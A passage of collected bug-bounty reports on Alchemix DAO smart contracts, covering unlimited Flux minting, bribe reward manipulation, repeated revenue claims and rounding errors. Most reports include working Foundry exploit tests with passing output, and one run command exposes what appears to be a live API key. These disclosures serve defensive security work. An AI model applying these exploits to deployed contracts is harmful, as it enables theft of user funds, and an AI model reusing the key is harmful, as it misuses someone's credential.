        // This proof that a manipulation of voting result have been done for the votes outcome
        (, epochTotalVotes) = Bribe(bribeAddress).votingCheckpoints(IBribe(bribeAddress).getPriorVotingIndex(period + 2 weeks));
        aliceTokenIdBalance = Bribe(bribeAddress).balanceOf(aliceTokenId);
        bobTokenIdBalance = Bribe(bribeAddress).balanceOf(bobTokenId);
        assertEq(aliceTokenIdBalance, bobTokenIdBalance);
        assertEq(epochTotalVotes, aliceTokenIdBalance + bobTokenIdBalance + (aliceTokenIdBalance * 8)); // 8 is number of pokes 
        
        // Next epoch started
        hevm.warp(period + 2 weeks + 1 );
        voter.distribute();

        // Bob and Alice only rewarded tenth of the reward while he should rewarded half of the reward
        assertEq(IBribe(bribeAddress).earned(bal, bobTokenId), rewardAmount/10);
        assertEq(IBribe(bribeAddress).earned(bal, aliceTokenId), rewardAmount/10);

        // Thus he will stop voting for this pool


        // Even if Alice and Bob maintain the same voting status for current epoch,
        // They will not be rewarded for the lost reward from previous epoch 
        hevm.prank(alice);
        voter.poke(aliceTokenId);
        hevm.prank(bob);
        voter.poke(bobTokenId);

        // Next epoch started
        hevm.warp(period + 4 weeks + 1);
        // Rewards remain the same, tenth of the reward of the first priod
        assertEq(IBribe(bribeAddress).earned(bal, bobTokenId), rewardAmount/10);
        assertEq(IBribe(bribeAddress).earned(bal, aliceTokenId), rewardAmount/10);
        

        hevm.prank(alice);
        voter.claimBribes(bribes, tokens, aliceTokenId);
        hevm.prank(bob);
        voter.claimBribes(bribes, tokens, bobTokenId);

        // Check that bribe has a freezing amount from first epoch
        // total reward of epoch 1 - ckaimed rewards earned for alice and bob
        // assertGt(
        //     Bribe(bribeAddress).tokenRewardsPerEpoch(bal, period) 
        //     - (IERC20(bal).balanceOf(alice) + IERC20(bal).balanceOf(bob))
        //     , 0
        // );
        assertGt(IERC20(bal).balanceOf(bribeAddress), 0);
    }
}
```

#### Test Output

```bash
❯ make test_file
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/*** --match-path src/test/VotingPoC.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingPoC.t.sol:VotingPoCTest
[PASS] testFreezingTheftOfUnclaimedBribes() (gas: 5928635)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 70.13s (55.35s CPU time)

Ran 1 test suite in 71.40s (70.13s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31222 - \[SC - Critical] Unlimited Flux minting

Submitted on May 15th 2024 at 04:01:45 UTC by @Tapir49939 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31222

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Vulnerability Details

The attacker can mint unlimited amount of Flux tokens.

The `vote` and `reset` functions of the `Voter` contract could be called only once in an Epoch. Therefore, the amount of Flux tokens minted is limited.

```
function reset(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
    if (msg.sender != admin) {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
    }

    lastVoted[_tokenId] = block.timestamp;
    _reset(_tokenId);
    IVotingEscrow(veALCX).abstain(_tokenId);
    IFluxToken(FLUX).accrueFlux(_tokenId);  // Accrue Flux once in an Epoch, onlyNewEpoch modifier enforces this!
}
```

However, the `poke` function lacks such limitations and `onlyNewEpoch` modifier, and could be called any number of times. Poke calls `_vote` internal functions that accrues Flux.

```
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
    _reset(_tokenId);

    uint256 _poolCnt = _poolVote.length;
    uint256 _totalVoteWeight = 0;
    uint256 _totalWeight = 0;

    for (uint256 i = 0; i < _poolCnt; i++) {
        _totalVoteWeight += _weights[i];
    }

    IFluxToken(FLUX).accrueFlux(_tokenId);  // Accrue Flux unlimited number of times through poke!!!
    ...
}
```

The attack scenario is simple:

1. Vote for a pool.
2. Keep calling `poke` in a loop, Flux will be minted.

## Impact Details

Consequences are dire:

1. Flux token has a market value.
2. Flux token could be used to boost the voting power.

## Proof of Concept

Run the test as: `forge test --mp src/test/Boost.t.sol --fork-url 'https://...' -vv`

```
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract Boost is BaseTest {
    function setUp() public {
        setupContracts(block.timestamp);
    }

    function testFluxUnlimitedMint() public {
        address attacker = address(456);

        uint256 tokenId = createVeAlcx(attacker, 10e18, MAXTIME, false);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        assertEq(flux.getUnclaimedFlux(tokenId), 0);

        hevm.prank(attacker);
        voter.vote(tokenId, pools, weights, 0);

        uint256 unclaimedBalance1 = flux.getUnclaimedFlux(tokenId);

        // Here the attacker mints Flux
        // increase/decrease loop bound to see the varing amount of Flux
        hevm.startPrank(attacker);
        for (uint i; i < 10000; i++) {
            voter.poke(tokenId);
        }
        hevm.stopPrank();

        uint256 unclaimedBalance2 = flux.getUnclaimedFlux(tokenId);

        assertGt(unclaimedBalance2, unclaimedBalance1);
        
        console.log("Flux balance = %s", unclaimedBalance2);

        hevm.startPrank(attacker);
        flux.claimFlux(tokenId, unclaimedBalance2);
    }
}
```

Output:

```
Flux balance = 98165526504584473482437      // For 10000 iterations
Flux balance = 196321237438075597852437     // For 20000 iterations
...
```


# 31223 - \[SC - Critical] Disproportionate Rewards Manipulation in Bribesol

Submitted on May 15th 2024 at 04:32:25 UTC by @Limbooo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31223

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

This report details a critical vulnerability found in the `Bribe.sol` contract, which allows participants to manipulate reward distributions through strategic voting and claims. This issue arises from improper handling of vote and reward calculations across epochs, enabling exploitation to unfairly increase individual rewards.

## Vulnerability Details

The vulnerability is primarily due to the lack of a robust system to handle the transition between voting epochs and the claiming of rewards. Specifically, the contract fails to adequately isolate the effects of voting actions within a single epoch, allowing the influence of actions like voting and claiming to spill over into subsequent epochs.

Actually, this vulnerability was covered while trying to proof another vulnerability. While it consumed to much time debugging to find the crux of the problem here, we found that when `Bribe::getRewardForOwner` called by `Voter` after user interact with `Voter::claimBribes`, it will write a checkpoint:

This issue was discovered while investigating another vulnerability. During the debugging process, it became apparent that when `Bribe::getRewardForOwner` is called by `Voter` contract after a user interacts with `Voter::claimBribes`, a checkpoint is written:

```solidity
src/Bribe.sol:
  283:     function getRewardForOwner(uint256 tokenId, address[] memory tokens) external lock {
  284:         require(msg.sender == voter, "not voter");
  285:         address _owner = IVotingEscrow(veALCX).ownerOf(tokenId);
  286:         uint256 length = tokens.length;
  287:         for (uint256 i = 0; i < length; i++) {
  288:             uint256 _reward = earned(tokens[i], tokenId);
  289: 
  290:             require(_reward > 0, "no rewards to claim");
  291: 
  292:             lastEarn[tokens[i]][tokenId] = block.timestamp;
  293: 
@>294:             _writeCheckpoint(tokenId, balanceOf[tokenId]);
  295: 
  296:             IERC20(tokens[i]).safeTransfer(_owner, _reward);
  297: 
  298:             emit ClaimRewards(_owner, tokens[i], _reward);
  299:         }
  300:     }

  351:     function _writeCheckpoint(uint256 tokenId, uint256 balance) internal {
  352:         uint256 _timestamp = block.timestamp;
  353:         uint256 _nCheckPoints = numCheckpoints[tokenId];
  354:         if (_nCheckPoints > 0 && checkpoints[tokenId][_nCheckPoints - 1].timestamp == _timestamp) {
  355:             checkpoints[tokenId][_nCheckPoints - 1].balanceOf = balance;
  356:         } else {
@>357:             checkpoints[tokenId][_nCheckPoints] = Checkpoint(_timestamp, balance);
  358:             numCheckpoints[tokenId] = _nCheckPoints + 1;
  359:         }
  360:     }
```

Additionally, when `Voter::poke` is called, it saves another checkpoint only if it is invoked at a different timestamp than the checkpoint saved during the claim. Consequently, when `Bribe::earned` starts calculating based on the first checkpoint index after the last epoch, it iterates over both checkpoints, leading to potential discrepancies and unintended influences across epochs.

## Impact Details

1. **Economic Incentive Disruption**: By exploiting this vulnerability, a user can claim an outsized portion of the rewards pool, potentially leaving insufficient funds for other participants.
2. **Resource Drainage**: Continuous exploitation of this vulnerability could lead to significant resource drainage, reducing the overall effectiveness and sustainability of the DAO.

## Proof of concept

### Test Case (Foundry)

The provided test demonstrates how the manipulation of voting weights and reward claims can lead to disproportionate reward allocation. The test involves two participants, Alice and Bob, where Bob manipulates the system to claim full rewards for an epoch by strategically timing his votes and claims. This test is critical for illustrating the practical exploitability of the vulnerability under realistic conditions.

#### Test Execution:

The test can be added to a new file under the current test suite `src/test/VotingPoC.t.sol`, then specify the file name in `FILE` flag under `Makefile` configuration. Run using `make test_file`

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract VotingPoCTest is BaseTest {
    address public alice;
    address public bob;

    function setUp() public {
        setupContracts(block.timestamp);

        // Setup Alice and Bob addresses
        alice = vm.addr(uint256(keccak256(abi.encodePacked('Alice'))));
        vm.label(alice, 'Alice');
        bob = vm.addr(uint256(keccak256(abi.encodePacked('Bob'))));
        vm.label(alice, 'Bob');
    }

    function testTheftOfUnclaimedBribes() public {
        uint256 period = minter.activePeriod();
        hevm.warp(period + 1 days);

        uint256 aliceTokenId = createVeAlcx(alice, TOKEN_1, 1, true);
        uint256 bobTokenId = createVeAlcx(bob, TOKEN_1, 1, true);

        address bribeAddress = voter.bribes(address(sushiGauge));
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;


        // Reward amount
        uint256 rewardAmount = TOKEN_100K;
        // Notify bribe for reward amount
        createThirdPartyBribe(bribeAddress, bal, rewardAmount);

        // Alice Vote
        hevm.prank(alice);
        voter.vote(aliceTokenId, pools, weights, 0);
        // Bob Vote
        hevm.prank(bob);
        voter.vote(bobTokenId, pools, weights, 0);

        // Next epoch started
        hevm.warp(period + 2 weeks + 1 );
        voter.distribute();

        // Bob and Alice  rewarded  half of the reward each
        assertEq(IBribe(bribeAddress).earned(bal, bobTokenId), rewardAmount/2);
        assertEq(IBribe(bribeAddress).earned(bal, aliceTokenId), rewardAmount/2);

        hevm.warp(period + 2 weeks + 1 days );

        // Alice referesh his vote statues
        hevm.prank(alice);
        voter.poke(aliceTokenId);


        // Bob did not like that alice sharing with him half of the full reward
        // He decided to trick the calculation of this epoch to steal Alice reward
        // First he claim his bribe, this will save a new checkpoint for his veALCX
        hevm.prank(bob);
        voter.claimBribes(bribes, tokens, bobTokenId);
        // Then. after 1 secound he poke his vote to be updated in another checkpoint
        hevm.warp(period + 2 weeks + 1 days + 1 seconds);
        hevm.prank(bob);
        voter.poke(bobTokenId);

        // Notify bribe for reward amount in this wpoch
        createThirdPartyBribe(bribeAddress, bal, rewardAmount);


        // Next epoch started
        hevm.warp(period + 4 weeks + 1);
        voter.distribute();

        // Now Alice has the right earned amount, 2 * half of reward amount (first epoch reward + secound)
        assertEq(IBribe(bribeAddress).earned(bal, aliceTokenId), (rewardAmount/2) * 2);

        // Since Bob has claim the reward of the first epoch,
        // He should earn only half of the reward of the secound epoch
        // But he the system gives him the full reward amount
        assertEq(IBribe(bribeAddress).earned(bal, bobTokenId), rewardAmount);


        // However, bribe contract will not be able to conver all earned rewards now
        uint256 aliceEarned = IBribe(bribeAddress).earned(bal, aliceTokenId);
        uint256 bobEarned = IBribe(bribeAddress).earned(bal, bobTokenId);
        assertGe(
            aliceEarned + bobEarned,
            IERC20(bal).balanceOf(bribeAddress)
        );

        // If Bob claim bribe before Alice, Alice will not be able to claim his bribe
        hevm.prank(bob);
        voter.claimBribes(bribes, tokens, bobTokenId);
        // when he try the call will revert with
        hevm.expectRevert(abi.encodePacked("ERC20: transfer amount exceeds balance"));
        hevm.prank(alice);
        voter.claimBribes(bribes, tokens, aliceTokenId);
    }
}
```

#### Test Output

```bash
alchemix-v2-dao main* 1m17s
❯ make test_file
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/*** --match-path src/test/VotingPoC.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingPoC.t.sol:VotingPoCTest
[PASS] testTheftOfUnclaimedBribes() (gas: 5667267)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 65.12s (52.86s CPU time)

Ran 1 test suite in 66.38s (65.12s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31226 - \[SC - Insight] Missing Revert Message in require statement lea...

Submitted on May 15th 2024 at 08:49:18 UTC by @Wizard for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31226

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* missing revert message leading to difficulty in debugging

## Description

## Brief/Intro

require statement in the `deposit`, `withdraw`, and `restVoting` functions does not include a revert message.

## Vulnerability Details

The require statement in the `deposit`, `withdraw`, and `restVoting` functions does not include a revert message, this would make it harder to debug and understand why a transaction is reverting for both developers and protocol users.

## Impact Details

the lack of feedback on reverting functions would make it harder to trace back the errors and know where the execution is going wrong, this doesn't have a direct security impact on the contract, but it can make things easier to debug as those three functions are important functions in the protocol.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol?utm\\_source=immunefi#L303>

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol?utm\\_source=immunefi#L319>

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol?utm\\_source=immunefi#L332>

## Proof of Concept

````
/// @inheritdoc IBribe
    function deposit(uint256 amount, uint256 tokenId) external {
        //@audit missing revert message
      --  require(msg.sender == voter);
      ++  require(msg.sender == voter, " not a voter");
        totalSupply += amount;
        balanceOf[tokenId] += amount;

        totalVoting += amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();
        _writeVotingCheckpoint();

        emit Deposit(msg.sender, tokenId, amount);
    }

    /// @inheritdoc IBribe
    function withdraw(uint256 amount, uint256 tokenId) external {
         -- require(msg.sender == voter);
       ++  require(msg.sender == voter, " not a voter");

        totalSupply -= amount;
        balanceOf[tokenId] -= amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();

        emit Withdraw(msg.sender, tokenId, amount);
    }

    /// @inheritdoc IBribe
    function resetVoting() external {
      require(msg.sender == voter);
  ++  require(msg.sender == voter, " not a voter");

        totalVoting = 0;
    }```
````


# 31234 - \[SC - Medium] Alchemix BlockSlope variable in checkpoint rou...

Submitted on May 15th 2024 at 15:56:44 UTC by @Norah for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31234

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

* In the `_checkpoint()` routine of the **voterEscrow contract,** Global Point (pointHistory\[epoch]) for all previous epochs is updated within a for loop.
* This loop begins with the timestamp of the last Global checkpoint and increments by weeks with each iteration.
* The global point is updated at corresponding times with appropriate bias and slope in each iteration.
* For the block number, it is extrapolated on a line with the current time and block number as endpoints, using the last recorded values in pointHistory\[epoch] as the starting point.

## Vulnerability Details

* The vulnerability lies in the calculation of this extrapolation. Initially, the slope is calculated, and then this slope is used to determine the appropriate block number for any intermediate time.

```
      if (block.timestamp > lastPoint.ts) {
           blockSlope = (MULTIPLIER * (block.number - lastPoint.blk)) / (block.timestamp - lastPoint.ts);
       }

      uint256 _time = (lastCheckpoint / WEEK) * WEEK;
           
      for (uint256 i = 0; i < 255; ++i) {
            _time += WEEK;
                     .
                     .
                     .
         
              lastPoint.ts = _time;
              lastPoint.blk = initialLastPoint.blk + (blockSlope * (_time - initialLastPoint.ts)) / MULTIPLIER;
     

```

* The issue arises because most blockchains, including Ethereum, have a block rate of less than `1/2` , meaning it takes more than 2 seconds to confirm blocks.
* As a result, the **blockSlope will round down to zero, particularly with a low multiplier, such as 2.**
* This renders the scaling ineffective in preventing the rounding down to zero, especially when the block rate exceeds `1/2`.
* For example, ethereum has a blockrate of `1/12`; for this, it will be definitely rounded to zero.

## Impact Details

* The vulnerability results in incorrect block numbers being assigned, especially the last recorded block number of the global point, which will be assigned to all the the new points being updated.

## References

* Update the `constant MULTIPLIER` to higher value. (i.e >10000).

## References

Add any relevant links to documentation or code

## Proof of Concept

* Following POC demonstrates for block rate of `1/12`, how in current calculation `blockSlope` will evaluate to zero.
* To run the test, add the test in file in the existing test suite and then execute it with the command :
* "forge test --fork-url <https://eth-mainnet.g.alchemy.com/v2/{Alchemy-Key}> --match-test "testBlockSlope" -vv"
* check attachment for the output.

```solidity


function testBlockSlope() public {

        uint MULTIPLIER = 2;
        uint blockSlope; 

        uint lastPoint_ts = block.timestamp;
        uint lastPoint_blk = block.number;

        console2.log("lastPoint Timestamp   : ",block.timestamp);
        console2.log("lastPoint BlockNumber : ",block.number);

        uint duration = 2 weeks; //duration after wich the _checkpoint() routine is called.

        vm.warp(block.timestamp + duration);
        vm.roll(block.number + (duration)/12); // as per current block rate of 12 seconds a block.

        console2.log("Current Timestmap   : ",block.timestamp);
        console2.log("Current BlockNumber : ",block.number);
        

        if (block.timestamp > lastPoint_ts) {
                blockSlope = (MULTIPLIER * (block.number - lastPoint_blk)) / (block.timestamp - lastPoint_ts);
        }

        assertEq(blockSlope,0);

        //This will be rounded to zero.
        console2.log(blockSlope);
    }


```


# 31242 - \[SC - Critical] RevenueHandlercheckpoint allows users to claim ...

Submitted on May 15th 2024 at 19:01:43 UTC by @yttriumzz for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31242

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

The `RevenueHandler` contract receives the revenue from Alchemix protocol. One part of the revenue is sent to the treasury. The rest is distributed to users that have $veToken. Each $veToken can claim rewards once per epoch. Anyone can call the `RevenueHandler.checkpoint` interface to refresh the `currentEpoch`. However, the `checkpoint` interface allows the `currentEpoch` to be updated to the timestamp of the current block, allowing attackers to use `VotingEscrow.merge` to repeatedly claim rewards.

## Vulnerability Details

Please look at the following code. When `block.timestamp` is equal to `currentEpoch + WEEK`, `currentEpoch` is updated to `block.timestamp`.

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L228-L231
    function checkpoint() public {
        // only run checkpoint() once per epoch
        if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
            currentEpoch = (block.timestamp / WEEK) * WEEK;
```

The `RevenueHandler` contract calculates the number of rewards that can be claimed for a certain $veToken based on the value of the $veToken at the `currentEpoch` time point. Please see the code below.

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L314-L324
        for (
            uint256 epochTimestamp = lastClaimEpochTimestamp + WEEK;
            epochTimestamp <= currentEpoch;
            epochTimestamp += WEEK
        ) {
            uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
            if (epochTotalVeSupply == 0) continue;
            uint256 epochRevenue = epochRevenues[epochTimestamp][token];
            uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
            totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
        }
```

If `currentEpoch` can be set as the timestamp of the current block, then after the user claim the $veToken reward in the current block, he can transfer the value of $veToken to another $veToken through `VotingEscrow.merge` to continue claim it. The attack steps are briefly described below. Please see the PoC for details.

1. When the `block.timestamp` of the block happens to be `currentEpoch + WEEK`, the attacker calls `RevenueHandler.checkpoint` to update `currentEpoch` to `block.timestamp`
2. The attacker mints a $veTokenA and claim the reward
3. The attacker mints a $veTokenTemp worth 1 wei with a cost of `~0`
4. The attacker merges $veTokenA into $veTokenTemp and claim rewards for $veTokenTemp
5. Treat $veTokenTemp as $veTokenA and go back to Step2

Note that all the above steps are run in the same block.

**Suggested fix**

Users should only be able to claim past rewards

```diff
    function checkpoint() public {
        // only run checkpoint() once per epoch
-       if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
+       if (block.timestamp > currentEpoch + WEEK /* && initializer == address(0) */) {
            currentEpoch = (block.timestamp / WEEK) * WEEK;
```

## Impact Details

Users can claim rewards repeatedly

## References

None

## Proof of Concept

The PoC patch

```diff
diff --git a/src/test/RevenueHandler.t.sol b/src/test/RevenueHandler.t.sol
index 7908478..dab62e9 100644
--- a/src/test/RevenueHandler.t.sol
+++ b/src/test/RevenueHandler.t.sol
@@ -644,4 +644,62 @@ contract RevenueHandlerTest is BaseTest {
         revenueHandler.setTreasury(admin);
         assertEq(revenueHandler.treasury(), admin, "treasury should be admin");
     }
+
+    function testYttriumzzPocTemp() external {
+        // 0. Init test env
+        vm.warp((block.timestamp / 2 weeks) * 2 weeks);
+        hevm.startPrank(admin);
+        deal(bpt, admin, 10000e18);
+        IERC20(bpt).approve(address(veALCX),  type(uint256).max);
+        veALCX.checkpoint();
+        veALCX.createLock(10000e18, 0, true);
+        hevm.stopPrank();
+
+        // 1. Start test and init BPT token
+        address attacker = address(0xa77ac8e3);
+        hevm.startPrank(attacker);
+        console.log(">>>>> Init balance of rewards token");
+        console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+        console.log();
+
+        deal(bpt, attacker, 10000e18);
+        IERC20(bpt).approve(address(veALCX),  type(uint256).max);
+
+        // 2. Checkpoint RevenueHandler
+        //    It is required that `block.timestamp` is exactly `currentEpoch + WEEK`, `block.timestamp` is in seconds, so it is likely to happen.
+        deal(bal, address(revenueHandler), 100e18);
+        vm.warp(block.timestamp + 2 weeks);
+        revenueHandler.checkpoint();
+
+        // 3. Start steal rewards
+        //    Step 3 and step 2 exist in the same block
+        console.log(">>>>> Claim the veToken");
+        veALCX.checkpoint();
+        uint256 tokenId1 = veALCX.createLock(1e18, 0, true);
+        revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), attacker);
+        console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+        console.log();
+
+        console.log(">>>>> Start steal rewards 50 times");
+        for (uint256 i = 0; i < 50; i++) {
+            uint256 tokenIdTemp = veALCX.createLock(1, 0, true);
+            veALCX.merge(tokenId1, tokenIdTemp);
+            revenueHandler.claim(tokenIdTemp, bal, address(0), revenueHandler.claimable(tokenIdTemp, bal), attacker);
+            tokenId1 = tokenIdTemp;
+        }
+        console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+        console.log();
+
+        console.log(">>>>> Start steal rewards 100 times");
+        for (uint256 i = 0; i < 100; i++) {
+            uint256 tokenIdTemp = veALCX.createLock(1, 0, true);
+            veALCX.merge(tokenId1, tokenIdTemp);
+            revenueHandler.claim(tokenIdTemp, bal, address(0), revenueHandler.claimable(tokenIdTemp, bal), attacker);
+            tokenId1 = tokenIdTemp;
+        }
+        console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+        console.log();
+
+        hevm.stopPrank();
+    }
 }
```

Run the PoC

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
```

The log

```bash
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testYttriumzzPocTemp() (gas: 118159985)
Logs:
  >>>>> Init balance of rewards token
  >> bal.balanceOf(attacker): 0
  
  >>>>> Claim the veToken
  >> bal.balanceOf(attacker): 9999000099906589
  
  >>>>> Start steal rewards 50 times
  >> bal.balanceOf(attacker): 509949005095236039
  
  >>>>> Start steal rewards 100 times
  >> bal.balanceOf(attacker): 1509849015085894939
  

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 458.15ms (442.17ms CPU time)

Ran 1 test suite in 2.09s (458.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31249 - \[SC - Critical] malicious user can back-run Voterdistribute to ...

Submitted on May 15th 2024 at 19:58:42 UTC by @jasonxiale for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31249

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

In current implementation, `Voter.distribute` is used to distribute ALCX among gauges, during the call there is an issue that a malicious user can back-run `Voter.distribute` to steal reards.

## Vulnerability Details

During the `Voter.distribute` function, [Voter.\_distribute](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L359C14-L379) is called, and at the end of `Voter._distribute`, `IBribe.resetVoting` is called at \[<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L377>] [IBribe.resetVoting](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L332-L335) is defined as:

```solidity
345     /// @inheritdoc IBribe
346     function resetVoting() external {
347         require(msg.sender == voter);
348         totalVoting = 0;
349     }
```

**So it means that after calling `Voter.distribute`, `Bribe.totalVoting` will be set to 0.**

Then in `Bribe.earned`, `Bribe.totalVoting` is used in [Bribe.sol#L257-L261](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L255-L261) and [Bribe.sol#L268-L277](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L268-L277). One thing to note is that:

```solidity
270         // Prevent divide by zero
271         if (_priorSupply == 0) {
272             _priorSupply = 1;
273         }
```

So it means that if **\_priorSupply** will be set to **1** if it's 0. And `reward` depends on `_priorSupply` as:

```solidity
reward += (cp.balanceOf * tokenRewardsPerEpoch[token][_lastEpochStart]) / _priorSupply;
```

To sum up:

1. During `Voter.distribute`, `Bribe.totalVoting` will be set to **0**
2. `Bribe.earned` depends of `Bribe.totalVoting` to calculate the amount of rewards. And if we can force `_priorSupply` to 1 while calculating the rewards, we will make more profilt. We can use `Voter.poke` to update the `checkpoint` after `Voter.distribute`.

## Impact Details

In current implementation, `Voter.distribute` is used to distribute ALCX among gauges, during the call there is an issue that a malicious user can back-run `Voter.distribute` to steal reards.

## References

Add any relevant links to documentation or code

## Proof of Concept

put the follow code in `src/test/Voting.t.sol` and run

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/$API_KEY --fork-block-number 17133822 --mc VotingTest --mt testAliceEpochRewards -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 2 tests for src/test/Voting.t.sol:VotingTest
[PASS] testAliceEpochRewardsNoPoke() (gas: 6888013)
Logs:
  earned                    : 33333333333333333333333
  earned                    : 33333333333333333333333
  bal.balanceOf(Alice)      : 33333333333333333333333
  bal.balanceOf(Bob)        : 0

[PASS] testAliceEpochRewardsPoke() (gas: 6969463)
Logs:
  earned                    : 100000000000000000000000
  earned                    : 100000000000000000000000
  bal.balanceOf(Alice)      : 100000000000000000000000
  bal.balanceOf(Bob)        : 0

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 86.68ms (116.98ms CPU time)
```

As we can from above, if Alice doesn't call `Voter.poke` after `Voter.distribute`, Alice will receive 33333333333333333333333 bal rewards.

And if Alice calls `Voter.poke` after `Voter.distribute`, Alice will receive 100000000000000000000000 bal rewards.

```solidity
    function testAliceEpochRewardsPoke() public {
        uint256 period = minter.activePeriod();

        hevm.warp(period + nextEpoch);
        hevm.roll(block.number + 1);

        deal(address(alcx), address(voter), TOKEN_100K);

        hevm.prank(address(voter));
        sushiGauge.notifyRewardAmount(TOKEN_100K);

        address Alice = address(0x11001100);
        address Bob   = address(0x22002200);
        address Chris = address(0x33003300);
        // Create a veALCX token and vote to trigger voter rewards
        uint256 tokenId1 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        uint256 tokenId3 = createVeAlcx(Chris, TOKEN_1, MAXTIME, false);
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;
        address[] memory gauges = new address[](1);
        gauges[0] = address(sushiGauge);

        hevm.prank(Alice);
